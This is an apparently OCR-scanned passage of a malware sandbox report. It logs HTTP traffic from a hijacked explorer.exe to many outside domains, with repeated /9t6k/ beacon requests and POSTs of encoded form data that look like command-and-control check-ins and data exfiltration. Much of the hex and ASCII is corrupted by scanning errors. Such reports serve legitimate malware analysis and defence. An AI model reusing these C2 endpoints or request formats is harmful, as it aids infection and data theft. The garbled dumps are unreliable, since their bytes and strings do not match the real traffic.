6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 726769 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}th1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

157.245.239.6 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRVF5LwbTMOesGYedm1bG3cIWla&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.ahomedokita.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:06:41 GMT

Server: Apache/2.4.29 (Ubuntu)

Location: https://ahomedokita.com/9t6k/? URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRvVF5LwbTMOes
GYedm1bG3cJWIla&UfrDal=0nMpgJVP5t_PDD5p

Content-Length: 425

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 68 6f 6d 65 64 6f 6b 69 74 61 2e
63 6f 6d 2f 39 74 36 6b 2f 3f 55 52 66 6¢ 68 3d 35 59 62 67 69 57 4f 4d 76 4b 31 30 65 2b 44 2b 54 69 34 6f 4b 76 6d 54
77 755377 61 4b 42 64 65 4b 4e 4¢c 72 6b 56 41 73 52 52 76 46 35 4c 77 62 54 4d 4f 65 73 47 59 65 64 6d 31 62 47 33
63 4a57 49 61 26 61 6d 70 3b 55 66 72 44 61 6¢ 3d 30 6e 4d 70 71 4a 56 50 35 74 5f 50 44 44 35 70 22 3e 68 65 72 65
3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55
62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 68 6f 6d 65 64 6f 6b 69 74 61 2e 63 6f 6d 20 50 6f 72
74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ahomedokita.com/9t
6k/?URflh=5YbgiWOMvK10e+D+TidoKvmTwuSwaKBdeKNLrkVAsRRvF5LwbTMOesGYedm1bG3cJWla&amp;UfrDal=
0nMpqJVP5t_PDD5p">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.ahomedokita.com Port
80</address></body></html>
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Session ID

28

Timestamp

Dec 3, 2020
10:06:46.593561888 CET

Dec 3, 2020
10:06:46.850203991 CET

Session ID

29

Timestamp

Dec 3, 2020
10:06:57.140686989 CET

Session ID

3

Timestamp

Dec 3, 2020
10:03:53.405319929 CET

Session ID

30

Timestamp

Dec 3, 2020
10:07:02.335489988 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

6927

6929

Source IP

192.168.2.5

kBytes
transferred

6929

Source IP

192.168.2.5

kBytes
transferred

5952

Source IP

192.168.2.5

kBytes
transferred

6930

Source Port

49781

Direction

ouT

Source Port

49782

Direction

ouT

Source Port

49745

Direction

ouT

Source Port

49783

Direction

ouT

Destination IP Destination Port Process

104.24.104.178 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWpe7zCBUOdcNM6Zeho8&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.dainikamarsomoy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:06:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=d639205e3a20fe4525d8141471757362f1606986406; expires=Sat, 02-Jan-21 09:06:46 GMT;
path=/; domain=.dainikamarsomoy.com; HttpOnly; SameSite=Lax

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

X-Redirect-By: WordPress

Location: http://dainikamarsomoy.com/9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWp

e7zCBUOdcNM6Zeho8&UfrDal=0nMpgJVP5t_PDD5p

X-LiteSpeed-Cache: hit

CF-Cache-Status: DYNAMIC

cf-request-id: 06c973b2cd00002788ac001000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=zkt1n7THEWG%2Bc7gcmoYhkK71ig2QYzx5nKv
EXyNh%2B17MnR7j%2Bp3h6iVrPOgpHNFiHO9To0i6lYeTrueB88YRhffRONS%2Bt8vIQdwYOI9TX60FQMtfoZom8vZg
%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc22314a3a2788-PRG

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=AgHI0+MX2ftrVe3DEiYBNVYhM67Z+gKer8sV+OvuybcJEOEIXTUx/0N346XCugNKhu9g&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.kingdomwinecommunity.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

104.24.104.178 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWpe7zCBUOdcNM6Zeho8&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.dainikamarsomoy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=rm4JCycf8jgnKzL2gaZxJFxF+HyMTTLQtqzA4xmgqdXyWq3yulARpOHOZAK4rmQWxcAt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.pocketspacer.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:07:02.451867104 CET

Session ID

31

Timestamp

Dec 3, 2020
10:07:07.732049942 CET

Dec 3, 2020
10:07:07.979088068 CET

Session ID

32

Timestamp

Copyright null 2020

kBytes
transferred

6931

Source IP

192.168.2.5
kBytes

transferred

6931

6932

Source IP

192.168.2.5

kBytes
transferred

Direction

IN

Source Port

49784

Direction

ouT

Source Port

49785

Direction

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:07:02 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566f7-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

162.0.238.42 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=8pT0OOCjpukmgT2/VEONoh7Jhw41r4itl2gwuQkgKFiQj+4gEMjoX0rzJNNSQA5Q10cRE&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.cia3mega.info

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:07:07 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 328

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f
20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3¢ 70 3e 41
64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65
6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44
6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></htmI>

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Dec 3, 2020 6933
10:07:14.819489002 CET

Session ID Source IP
33 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 6934

10:07:14.848171949 CET

Dec 3, 2020 6935
10:07:15.109507084 CET

Session ID Source IP

34 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2020

Direction

ouT

Source Port

49786

Direction

ouT

Source Port

49787

Direction

Data

POST /9t6k/ HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.sportsbhookmatcher.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.sportsbookmatcher.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 4c 36 6¢ 46 69 57 39 4b 57 6e 51 57 4c 39 6¢ 62 63 42 37 51 54 59 4a 34 6¢ 79 6¢ 78 4c 51
7572 37 48 74 57 38 52 39 37 6d 61 69 33 67 78 46 5f 57 47 79 68 6d 4d 65 33 51 2d 53 61 5a 53 4a 31 70 55 44 34 57
39416456 58 36 41 32 63 37 71 7e 43 77 73 31 37 55 43 78 43 61 5f 48 6f 4a 79 54 51 52 37 48 79 6a 67 4b 30 59 73
59 43 45 2d 47 56 31 35 6e 74 75 49 72 54 48 6¢ 65 66 4f 55 39 66 4d 47 37 72 75 67 36 77 35 54 4d 59 28 73 6b 4d 62 5
86a59 45 30 6e 61 51 52 61 30 58 42 72 43 44 6a 73 64 71 4b 57 39 62 32 37 72 32 48 57 54 33 4d 69 6b 76 5a 71 50
66 6e 52 64 30 64 35 6d 47 77 79 69 39 4e 7a 50 74 61 76 49 6d 36 4f 42 41 71 51 56 44 56 77 57 4a 7a 28 42 63 6a 49
63 7a 47 75 46 70 38 50 4e 45 56 7e 61 70 61 74 4e 56 57 71 39 70 57 4c 48 58 38 50 37 78 62 77 44 75 34 56 50 56 2d
4b 75 76 6b 63 64 32 69 77 50 42 62 37 49 70 64 75 32 69 5f 43 55 57 59 5a 51 35 4a 6d 77 68 57 54 4f 79 58 28 31 51
5a 35 5f 47 6f 52 65 53 5a 55 65 76 74 52 78 79 67 55 62 79 49 46 4f 48 31 4b 64 53 52 4e 47 63 30 36 46 45 48 50 72 4a
53 33 6a 4f 49 76 49 70 5f 6d 6¢ 49 79 77 68 69 4c 4d 33 71 70 4e 7a 72 35 77 7a 62 36 48 48 41 43 36 46 4c 4f 7e 75 7a
61 35 2d 58 63 6d 46 39 52 39 48 75 55 4b 75 45 4c 44 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=L6IFIWIKWnQWL9IbcB7QTY J4lyIxLQur7HtW8R97mai3gxF_WGyhmMe3Q-SazSJ1pUD4W9Ad
VX6A2c7g~Cws17UCxCa_HoJyTQR7HyjgKOYsYCE-GV15ntulrTHIefOU9fMG7rugbw5TMY (skMbXjYEOnaQRa0XBrC
DjsdgqKW9b27r2HWT3MikvZgPfnRdOd5mGwyi9NzPtavim60OBAgQVDVwWJz(BcjlczGuFp8PNEV~apatNVWq9pWLHX8
P7xbwDu4VPV-Kuvkcd2iwPBb7Ipdu2i_ CUWYZQ5ImwhWTOyX(1QZ5_GoReSZUevtRxygUbylFOH1KdSRNGCcO6FEHPr
JS3jOlvip_mllywhiLM3gpNzr5wzb6HHACEFLO~uza5-XcmFIR9HUUKUELDQ).

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=E4R/8wd6fgEKWdVXGUezTNI/uDINCiSgghAFvmJDIfqfpwFCHVrHgZ/vPMmIVzFxpgLt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:07:15 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=d7cc6580b990cd5af6a95e619f769186b1606986434; expires=Sat, 02-Jan-21 09:07:14 GMT; path=/;
domain=.sportsbookmatcher.com; HttpOnly; SameSite=Lax

Vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

cf-request-id: 06c974212b00002774c7ac7000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=msXtXrEAEXmvpxIWyPMpZfU3ZIXF4PoEThYh
%2BIbAlgm%2BKIhySMpYVMSp%2Bx%2FXIZ%2ButWSBIHA4UKpu2%2BY XifhwTzh8BB1SplAk474rtH7XxqRAI%2F2b
DCyGofAy"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc22e1dbda2774-PRG

Data Raw: 63 62 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44
54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30
34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f 20
77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79
3e 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa

Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head
><body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p></body></html>

Destination IP Destination Port Process

52.60.87.163 80 C:\Windows\explorer.exe

Data
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Timestamp

Dec 3, 2020
10:07:20.220953941 CET

Session ID

35

Timestamp

Dec 3, 2020
10:07:20.326409101 CET

Dec 3, 2020
10:07:20.431005001 CET

Copyright null 2020

kBytes
transferred

6936

Source IP

192.168.2.5
kBytes

transferred

6937

6938

Direction

ouT

Source Port

49788

Direction

ouT

Data

POST /9t6k/ HTTP/1.1

Host: www.makingdoathome.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.makingdoathome.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.makingdoathome.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 4d 59 68 34 39 6a 61 39 6f 38 63 76 6d 39 62 6d 4f 6d 4d 36 76 64 6e 56 50 4d 63 71 64 37
6¢ 3531 72 76 6b 59 73 7a 49 33 57 6d 6d 53 7a 4f 50 28 41 4e 71 68 33 6b 36 6d 33 54 5a 4c 52 5a 41 5a 4b 51 37 52
4d 6a 6a 38 78 54 6d 37 79 70 51 28 69 74 49 78 63 58 37 46 56 76 59 38 38 66 6f 37 6d 36 6a 53 61 68 36 51 51 4c 64
33 4c 4a 5f 4f 73 75 32 44 56 56 44 46 37 6a 57 6a 30 6d 38 51 74 59 6b 36 44 6e 65 6e 35 6¢ 76 28 41 70 79 59 79 4e 64
69 74 56 68 42 61 48 61 70 6a 52 43 58 59 53 49 7e 45 44 61 4b 6b 57 75 37 35 4f 71 47 6e 50 35 28 4d 46 41 30 31 4e 3
650 69 44 52 61 30 48 72 48 6a 43 39 6f 33 4b 58 4f 65 7e 7a 6b 70 45 74 64 30 33 48 68 68 4b 6b 69 65 6a 4b 37 66 7e
61 4d 6e 33 55 77 6b 6b 4d 63 42 4c 65 55 59 48 43 55 53 6e 55 69 67 50 42 6b 57 4a 70 4c 76 52 50 35 6a 72 57 79 79
37 56 75 65 45 7a 45 6d 68 30 73 6a 39 62 44 32 73 79 6d 4e 58 55 37 4c 46 49 78 4f 30 33 37 62 73 7a 79 43 35 31 69
397e 7279 77 3057 69 4d 67 49 78 67 43 37 4a 61 76 70 66 4a 4e 7a 76 6a 77 5a 44 37 72 61 7a 4e 6f 4d 4e 46 64 4c
34 6¢ 65 34 51 78 66 30 43 4e 6a 52 32 62 36 76 6d 50 6f 49 38 5a 50 57 39 72 58 41 71 52 75 37 4b 73 4b 51 52 35 4a
6d 4a 6d 67 79 55 56 30 49 75 57 4a 72 55 78 51 76 36 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=MYh49ja908cvm9bmOmM6vdnVPMcqd7I51rvkYszI3WmmSzOP(ANgh3k6m3TZLRZAZKQ7RMijj
8XTm7ypQ(itlxeX7FVvY88fo7m6jSah6QQLd3LI_Osu2DVVDF7jWj0m8QtYk6Dnen5lv(ApyYyNditVhBaHapjRCXY
SI~EDaKkWu750qGnP5(MFA01N6PIDRa0HrHjC903KXOe~zkpEtd03HhhKkiejK7f~aMn3UwkkMcBLeUYHCUSNUigPB
kWJpLVvRP5jrWyy7VueEzEmh0sj9bD2symNXU7LFIxO037bszyC51i9~ryw0WiMglxgC7JavpfINzvjwZD7razNoMNF
dL4le4QxfOCNjR2b6vmPol8ZPW9rXAgRu7KsKQR5ImJImgyUVOIuWJrUxQv6A).

Destination IP Destination Port Process

52.60.87.163 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=DaV CjFuxi8lQ0KSmZmVVzdfbFs8HKa1S3sC5D9GQ7HSGSXmO4QACkgMj7QCmBzxIGckN&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.makingdoathome.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 03 Dec 2020 09:07:20 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 3984

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

Cache-Control: max-age=604800

Expires: Thu, 10 Dec 2020 09:05:53 +0000

Content-Security-Policy: default-src 'self' 'unsafe-inline' https://park.101datacenter.net https://*.deviceatlascloud.com/
https://cs-cdn.deviceatlas.com data:

Access-Control-Allow-Origin: https://park.101datacenter.net

X-Frame-Options: SAMEORIGIN

X-Cached: HIT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 64 69 72 3d 22 22 20 6¢ 61 6e 67 3d 22 22
3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 46 75 74 75 72 65 20 68 6f 6d 65 20 6f 66 20 6d 61 6b 69 6e 67 64 6f 61
74 68 6f 6d 65 2e 63 6f 6d 3¢ 2f 74 69 74 6¢ 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f
6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 2d 20 72
6567 69 73 74 65 72 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 6¢ 69 6e 65 2c 61 6e 64 20 67 65 74 20
74 68 65 20 6e 61 6d 65 20 79 6f 75 20 77 61 6e 74 20 77 68 69 6¢ 65 20 69 74 27 73 20 73 74 69 6¢ 6¢ 20 61 76 61 69
6¢c 61 62 6¢ 65 2e 20 49 6e 74 65 72 6e 65 74 20 44 6f 6d 61 69 6e 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 26 20 49 6e
74 6572 6e 61 74 69 6f 6e 61 6¢ 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 2e 22 3e Oa
3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2¢ 20 69 6e 69 74 69
61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 2¢ 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 2¢ 20 75 73 65 72 2d 73 6
361 6¢ 61 62 6¢ 65 3d 6e 6f 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70
61 74 69 62 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e Oa 3c 6d 65 74
61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 66 6f 6¢ 6¢ 6f 77 22 3e O
a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 6
6 6f 6¢ 6¢ 6f 77 22 3e Oa 3c 6d 65 74 61 20 4e 41 4d 45 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 43 4f 4e 54 4
5 4e 54 3d 22 31 35 20 64 61 79 73 22 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22
20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64 61 74 61 63 65 6e 74 65 72 2e 6e 65 74 2f 69 6d
61 67 65 73 2f 76 65 6e 64 6f 72 2d 31 2f 69 63 6f 6e 2f 31 30 31 64 6f 6d 61 69 6e 2e 69 63 6f 22 3e Oa 3c 6¢ 69 6e 6b 20
72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64
61 74 61 63 65 6e

Data Ascii: <IDOCTYPE html><html dir="" lang=""><head><title>Future home of makingdoathome.com</tite><meta na
me="description" content="Domain Name Registration - register your domain name online,and get the name you want
while it's still available. Internet Domain Registration & International Domain Name Registration."><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta htt
p-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="robots" content="index, follow"><meta name="G
OOGLEBOT" content="index, follow"><meta NAME="revisit-after" CONTENT="15 days"><link rel="shortcut icon" href=
"https://park.101datacenter.net/images/vendor-1/icon/101domain.ico"><link rel="stylesheet" href="https://park.101datacen
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Session ID

36

Timestamp

Dec 3, 2020
10:07:25.582581997 CET

Session ID

37

Timestamp

Dec 3, 2020
10:07:25.721116066 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

6943

Source IP

192.168.2.5

kBytes
transferred

6943

Source Port

49789

Direction

ouT

Source Port

49790

Direction

ouT

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.rodgroup.net

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.rodgroup.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

